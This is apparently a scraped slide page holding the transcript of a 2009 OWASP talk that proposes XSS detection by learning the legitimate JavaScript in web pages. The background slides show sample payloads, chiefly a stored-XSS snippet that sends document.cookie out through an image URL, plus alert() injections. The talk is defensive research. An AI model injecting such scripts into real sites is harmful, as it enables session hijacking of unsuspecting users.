Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.

Slides:



Advertisements
Similar presentations
Nick Feamster CS 6262 Spring 2009
Advertisements

Past, Present and Future By Eoin Keary and Jim Manico
What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
Path Cutter: Severing the Self-Propagation Path of XSS JavaScript Worms in Social Web Networks Yinzhi Cao, Vinod Yegneswaran, Phillip Porras, and Yan Chen.
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011.
PathCutter: Severing the Self- Propagation Path of XSS JavaScript Worms in Social Web Networks Yinzhi Cao §, Vinod Yegneswaran †, Phillip Porras †, and.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
17 th ACM CCS (October, 2010).  Introduction  Threat Model  Cross-Origin CSS Attacks  Example Attacks  Defenses  Experiment  Related Work 2 A Presentation.
An Evaluation of the Google Chrome Extension Security Architecture
By Philipp Vogt, Florian Nentwich, Nenad Jovanovic, Engin Kirda, Christopher Kruegel, and Giovanni Vigna Network and Distributed System Security(NDSS ‘07)
EECS 354 Network Security Cross Site Scripting (XSS)
Ben Livshits and Weidong Cui Microsoft Research Redmond, WA.
CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz.
Blackbox Reversing of XSS Filters Alexander Sotirov ekoparty 2008.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
Web Audit Vulnerability cross-site scripting (XSS) concerns by Ron Widitz.
1 Document Structure Integrity: A Robust Basis for Cross-Site Scripting Defense Prateek Saxena UC Berkeley Yacin Nadji Illinois Institute Of Technology.
Introduction to the OWASP Top 10. Cross Site Scripting (XSS)  Comes in several flavors:  Stored  Reflective  DOM-Based.
March Intensive: XSS Exploits
Handling Security Threats in Kentico CMS Karol Jarkovsky Sr. Solution Architect Kentico Software
Phu H. Phung Chalmers University of Technology JSTools’ 12 June 13, 2012, Beijing, China Joint work with Lieven Desmet (KU Leuven)
Sys Prog & Scripting - HW Univ1 Systems Programming & Scripting Lecture 15: PHP Introduction.
Cross-Site Scripting Vulnerabilities Adam Doupé 11/24/2014.
Prevent Cross-Site Scripting (XSS) attack
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
NDSS 2007 Philipp Vogt, Florian Nentwich, Nenad Jovanovic, Engin Kirda, Christopher Kruegel, Giovanni Vigna.
1-Vulnerabilities 2-Hackers 3-Categories of attacks 4-What a malicious hacker do? 5-Security mechanisms 6-HTTP Web Servers 7-Web applications attacks.
BLUEPRINT: Robust Prevention of Cross-site Scripting Attacks for Existing Browsers Mike Ter Louw, V.N. Venkatakrishnan University of Illinois at Chicago.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
JavaScript, Fourth Edition
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
©2008 Gotham Digital Science Secure Parameter Filter (SPF) (AKA Protecting Vulnerable Applications with IIS7) Justin Clarke, Andrew Carey Nairn.
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
1 Detecting and filtering XSS using Positive Security Logic Ofer Rotberg David Movshovitz.
XSS-GUARD : Precise Dynamic Prevention of Cross Site Scripting (XSS) Attacks Prithvi Bisht ( Joint work with : V.N. Venkatakrishnan.
 Two types of malware propagating through social networks, Cross Site Scripting (XSS) and Koobface worm.  How these two types of malware are propagated.
Chapter 8 Cookies And Security JavaScript, Third Edition.
Srikar Nadipally. Outline Finding and Exploiting XSS Vulnerabilities Standard Reflected XSS Stored XSS DOM based XSS Prevention of XSS attack Reflect.
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 1 RubyJax Brent Morris/
By Sean Rose and Erik Hazzard.  SQL Injection is a technique that exploits security weaknesses of the database layer of an application in order to gain.
Cross Site Scripting and its Issues By Odion Oisamoje.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
2007cs Servers on the Web. The World-Wide Web 2007 cs CSS JS HTML Server Browser JS CSS HTML Transfer of resources using HTTP.
University of Central Florida The Postman Always Rings Twice: Attacking & Defending postMessage in HTML5 Websites Ankur Verma University of Central Florida,
Presented By: Chandra Kollipara. Cross-Site Scripting: Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
 Previous lessons have focused on client-side scripts  Programs embedded in the page’s HTML code  Can also execute scripts on the server  Server-side.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
8 Chapter Eight Server-side Scripts. 8 Chapter Objectives Create dynamic Web pages that retrieve and display database data using Active Server Pages Process.
Trevor Jim Nikhil Swamy Michael Hicks Defeating Script Injection Attacks with Browser-Enforced Embedded Policies Jason FroehlichSeptember 24, 2008.
 Web pages originally static  Page is delivered exactly as stored on server  Same information displayed for all users, from all contexts  Dynamic.
© 2011 IBM Corporation Hybrid Analysis for JavaScript Security Assessment Omer Tripp Omri Weisman Salvatore Guarnieri IBM Software Group Sep 2011.
Module: Software Engineering of Web Applications Chapter 3 (Cont.): user-input-validation testing of web applications 1.
Introduction of XSS:-- Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted.
Puppetnets: Misusing Web Browsers as a Distributed Attack Infrastructure Paper By : V.T.Lam, S.Antonatos, P.Akritidis, K.G.Anagnostakis Conference : ACM.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
National College of Science & Information Technology.
XSS 101 Jason Clark 12/20.
Javascript worms By Benjamin Mossé SecPro
Google’s Gruyere1 : An XSS Example Presented by: Terry Gregory
CSCE 548 Student Presentation Ryan Labrador
Unit 20 - Client Side Customisation of Web Pages
An Introduction to Web Application Security
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
WWW and HTTP King Fahd University of Petroleum & Minerals
Cross-Site Scripting Travis Deyarmin.
Exploring DOM-Based Cross Site Attacks
Cross-Site Scripting Attack (XSS)
Presentation transcript:

Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation OWASP A new approach to XSS Detection using JavaScript Modeling Ofer Rotberg David Movshovitz IDC September 2009

OWASP 2 Agenda  Background and Motivation  Current Solutions…and drawbacks  Our Approach  Evaluation and Results  Conclusion & Further Work

OWASP 3 Standards (?)  HTTP  Stateless  GET, POST  HTML  Blends together code (e.g., JavaScript, Flash) & data.  4 prevailing HTML rendering implementations:  Trident (MSHTML) - used in MSIE6, MSIE7, MSIE8.  Gecko - used in Firefox and derivates.  WebKit - used by Safari, Chrome, Android.  Presto - used in Opera.  Different “forgiving policy” among implementations.

OWASP 4 Web Application Vulnerabilities Source:IBM Internet Security Systems X-Force® 2008 Trend & Risk Report

OWASP 5 Closer Look Source: “WhiteHat Website Security Statistic Reports”, Dec 2008

OWASP 6 Attackers Prefer the Application Layer  The application layer is the weakest link – no generic defense mechanism.  The application layer leads the attacker directly to the data.  A plethora of freely available web applications.  Very simple to perform.  Every input has the potential to be an attack vector.  In order to (really) fix must change code (On average, 60 days to repair XSS vulnerability).

OWASP 7 MySpace.com virus (a.k.a Samy worm)  Date: October 5,  Target: force users to become my friends.  Samy inserted raw HTML into his profile.   The payload adds Samy to visitor’s friends and copy itself to visitor’s profile.  MySpace was forced to shutdown its website, fix the vulnerability, and perform clean up. Source: XSS WORMS AND VIRUSES The Impending Threat and the Best Defense, APRIL 2006, Jeremiah Grossman.

OWASP 8 XSS in Details  Three known types:  Reflected (Non-Persistent)  Stored (Persistent)  DOM Based (Local)  The target is to run hostile JavaScript on the victims browser.  JavaScript malware can:  Steal Cookie  Map internal networks  Spread like a worm ……

OWASP 9 Reflected XSS RRequest h index.php?name=Jim RResponse <html> <body> Hello, Jim... RRequest h XSS")</script> RResponse <html> <body> Hello, Jim <script>alert("XSS")</script>...  Browser – assumes server doesn’t send malicious content  Parse HTML – build DOM  Fetch resources and execute them.  Browser – assumes server doesn’t send malicious content  Parse HTML – build DOM  Fetch resources and execute them.

OWASP 10 Stored XSS

OWASP 11 Stored XSS  Trudy posts the following text on a message board: Great message! var img=new Image(); img.src= " "+document.cookie;  When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy

OWASP 12 DOM-Based XSS  First published by Amit Klein (   alert('XSS') var url = window.location.href; var pos = url.indexOf("title=") + 6; var len = url.length; var title_string = url.substring(pos,len); document.write(title_string); poslen Last Chance ! xss

OWASP 13 Current Solutions  XSS is a sub-problem of Insufficient Input Validation.  Server-Side Application  Static/Dynamic code analysis (white box)  Web application scanners (black box)  Server-Side Proxy  Input validation  Escaping\Output encoding (‘<‘  &lt)  HTTP-request anomaly detection  Client-Side  Disable JS.  Noxes - a web proxy that fetches HTTP requests and can either block or allow based on current security policy.

OWASP 14 Problems with current solutions  Escaping -  Good practice ! But,  Many web-application permit and return HTML tags (, …)  What about URI scheme like javascript:  Blacklisting (negative logic) is difficult   …and 100+ more attack vectors in RSnake’s XSS Cheatsheet.RSnake’s XSS Cheatsheet  An effective filter must also ensure that is does not introduces new scripts  Before:  After: 14

OWASP 15 Problems with current solutions (cont.)  Focusing only on HTTP-request is problematic  Even if an attack was detected, it doesn’t mean it will actually occur (false positive).  What about Stored XSS attacks ?  Client-side solutions  Deployment  Browser modifications/integration. 15

OWASP 16 Problems with current solutions (cont.) GET Main() echo (“ ”) echo (“Document.write( “Hello” + $uName);”) echo (“ Hello Jack Document.write(“Hello” + “Jack”);

OWASP 17 Problems with current solutions (cont.) GET Main() echo (“ ”) echo (“Document.write( “Hello” + $uName);”) echo (“ Hello Jack Document.write(“Hello” + “Jack”); alert(‘xss’); xss!

OWASP 18 Our Approach  Positive security logic  Anything is illegal unless known to be legal  Focus on HTTP response  Model – code-script elements in HTML web- pages  Assumption: the set of all instances of code-script elements is bounded and can be learned in a relative short period.  1st try – JavaScript code is static.  2nd try – JavaScript code is static under some transformation.

OWASP 19 Detector Architecture

OWASP 20 XSS Attack Detection  Learning mode  For each extracted JS:  Learn regular form.  Learn canonicalized form.  Three concerns  Coverage  Updating –Deploy detector in testing environment. –Perform deeper inspection.  Learning data-set should be with no malicious JS  Detection mode  For each unknown JS do:  Further inspection.  Strip out  Inform web-admin

OWASP 21 Deployment options  Web proxy  Protect a single web-application  Integration with the browser  JS extraction is done by browser.  Defend against DOM-based XSS.  Improved performance. Web Application Web Proxy Client

OWASP 22 Evaluation Methodology  FP  Choose top-ranked 40 web-application.  Crawl each web application  Learn each web-page & build code-elements DB  Perform 2 tests:  Convergence test: #pages to needed to learn all JS.  FP test: FP = (#pages causing alarm)/(#pages).  FN  Test detector against RSnake’s cheat-sheet.  Choose vulnerable application from xssed.com  Generate benign-input and attack-input.  Learn with benign.  Detect with attack. Each result was also checked manually.

OWASP 23 Results  Zero FP  FN – all attacks were detected.

OWASP 24 Conclusion  Zero FP under canonicalization  Generic - targets all types of XSS  Even DOM-Based could be mitigated if web proxy is deployed on client side.  Fast convergence – short learning period  Number of canonicalized JS nodes is bounded.  Most JS nodes appear in every page (“building blocks”).

Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation OWASP Thanx ! Ofer Rotberg IDC September 2009

OWASP 26 Some More Related Work  Vulnerability analysis: find vulnerable source-sink pairs e.g., saner: Livshits et al. Usenix 2005, Pixy N. Jovanovic et al. S&P2006, Y. Xie et al. Usenix 2006, D. Balzarotti et al. CCS  Useful but limited to detection  Server side solutions: filter based or track taint & disallow at sink : W. Xu et al. Usenix 2006, …  Centralized defense but do not know all scripts  Client side solutions: Firewall like mechanisms to prevent malicious actions at client  Noxes E. Kirda, et al. SAC 2006, P. Vogt et al. NDSS 2007  User controlled protection but do not know intended scripts  Client-Server collaborative solutions: Clients enforce application specified policies  BEEP T. Jim, et al. WWW 2007, Tahoma R. Cox et al. S&P 2006, Browsershield C. Reis et al. OSDI 2006  Can determine intended and all scripts but deployment issues 26